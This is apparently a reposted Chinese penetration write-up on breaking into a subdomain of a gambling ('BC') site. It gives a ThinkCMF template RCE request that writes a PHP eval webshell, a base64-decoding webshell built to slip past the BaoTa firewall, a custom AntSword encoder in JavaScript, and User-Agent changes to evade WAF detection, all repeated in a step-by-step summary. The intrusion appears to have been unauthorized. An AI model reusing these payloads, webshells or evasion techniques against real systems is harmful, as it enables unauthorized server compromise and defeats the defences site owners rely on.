記一次繞過寶塔防火牆的BC站滲透


0x00  信息收集

由於主站存在雲waf 一測就封 且初步測試不存在能用得上的洞 所以轉戰分站 希望能通過分站獲得有價值的信息


這是一個查詢代理帳號的站 url輸入admin 自動跳轉至后台


看這個參數 猜測可能是thinkCMF

0x01 getshell

thinkcmf正好有一個RCE 可以嘗試一下

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>

白屏是個好兆頭 應該是成功了
訪問一下

嘗試蟻劍連接 直接報錯 猜測可能遇到防火牆了

然后再回來看一下shell 手動嘗試一個phpinfo


果然存在寶塔防火牆

0x02 繞過寶塔防火牆

寶塔應該對部分函數進行了過濾,所以直接傳遞payload肯定是不行的,所以我們需要對流量進行混淆加密。

嘗試將所有的payload Base64編碼傳輸

既然傳過去的是編碼后的Base64,小馬也應該相應做出改變,只需解密一次傳遞過來的base64即可。

小馬如下:

<?php @eval(base64_decode($_POST[zero]));?>

將phpinfo();base64編碼為 cGhwaW5mbygpOw==

發送

可見 寶塔防火牆沒再攔截 已經成功繞過寶塔防火牆

0x03 改造蟻劍

我們用到的是Base64編碼,但是蟻劍其實是自帶Base64編碼解碼器的 。

嘗試直接使用自帶的Base64編碼器

為什么會這樣呢?

我們嘗試從蟻劍的流量分析

設置代理到burp

攔截流量

我們可以看到 明顯有兩個地方容易被waf識別

一是:User-Agent頭的關鍵字:antSword/v2.1 這相當於直接告訴waf我是誰了, 所以這是第一個要更改的點

二是:蟻劍的流量其實還是有關鍵字的 比如cmd參數后的 eval base64_decode 都是,而且我們的小馬自帶Base64解密,所以用它的默認編碼器不僅過不去waf 即使沒waf也不能正常連接我們的小馬,所以需要自己定義編碼器。

新建PHP編碼器

由於我們只需要將payloadBase64編碼一次即可,所以直接將data['_']Base64 處理賦值即可 隨機參數有沒有無所謂的

編碼器如下

'use strict';

/*
* @param  {String} pwd   連接密碼
* @param  {Array}  data  編碼器處理前的 payload 數組
* @return {Array}  data  編碼器處理后的 payload 數組
*/
module.exports = (pwd, data, ext={}) => {

  data[pwd] = Buffer.from(data['_']).toString('base64');

  delete data['_'];

  return data;
}

然后修改UA頭

應用我們的編碼器 解碼器不需要指定 默認即可
建議選擇 增加垃圾數據和Multipart發包

再次測試連接

然后點擊目錄 發現依然存在問題 不能跨目錄 這個問題其實哥斯拉可以解決 上傳哥斯拉馬

這里可能有人會問了 那你直接上傳哥斯拉馬不就行了嗎 實際情況是 get傳參有長度限制 而且有的符號會導致截斷php文件無法上傳完整


網站有挺多 但是很可惜沒有主站 數據庫里只有一堆代理帳號 浪費時間了



0x03  總結

1.訪問BC目標主站發現沒有可利用漏洞,通過訪問分站,並輸入admin目錄,跳轉到后台
2.通過cms指紋查詢,發現分站是thinkcmf框架
3.執行rce寫入一句話
http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test1.php','<?php @eval($_POST[zero])?>')
4.訪問地址http://www.xxx.com/test1.php顯示空白。
5.嘗試蟻劍連接,直接報錯 ,執行post命令,發現顯示寶塔防火牆
http://www.xxx.com/test1.php
post:
zero=phpinfo();
6.這里RCE寫入一句話base64加密
http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test2.php','<?php @eval(base64_decode($_POST[zero]));?>')
7.將phpinfo();base64編碼為 cGhwaW5mbygpOw==並正常請求訪問
http://www.xxx.com/test2.php
post:
 zero=cGhwaW5mbygpOw==
7寶塔防火牆會攔截蟻劍的User-Agent以及包含命令執行的關鍵字如cmd參數后的 eval base64_decode
一是:User-Agent頭的關鍵字:antSword/v2.1 這相當於直接告訴waf我是誰了, 所以這是第一個要更改的點
二是:蟻劍的流量其實還是有關鍵字的 比如cmd參數后的 eval base64_decode 都是,而且我們的小馬自帶Base64解密
8,改造默認的base64編碼器
'use strict';

/*
* @param  {String} pwd   連接密碼
* @param  {Array}  data  編碼器處理前的 payload 數組
* @return {Array}  data  編碼器處理后的 payload 數組
*/
module.exports = (pwd, data, ext={}) => {

  data[pwd] = Buffer.from(data['_']).toString('base64');

  delete data['_'];

  return data;
}
9.在蟻劍的請求信息中修改UA頭
name:User-Agent
vaule:為平常普通的的http請求值
10,通過改造后的蟻劍加載修改后的的編碼器進行連接,點擊目錄依然不能訪問。
12.同樣的方法在哥斯拉中加載改造默認的base64編碼器,可繞過寶塔防火牆,並正常訪問




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM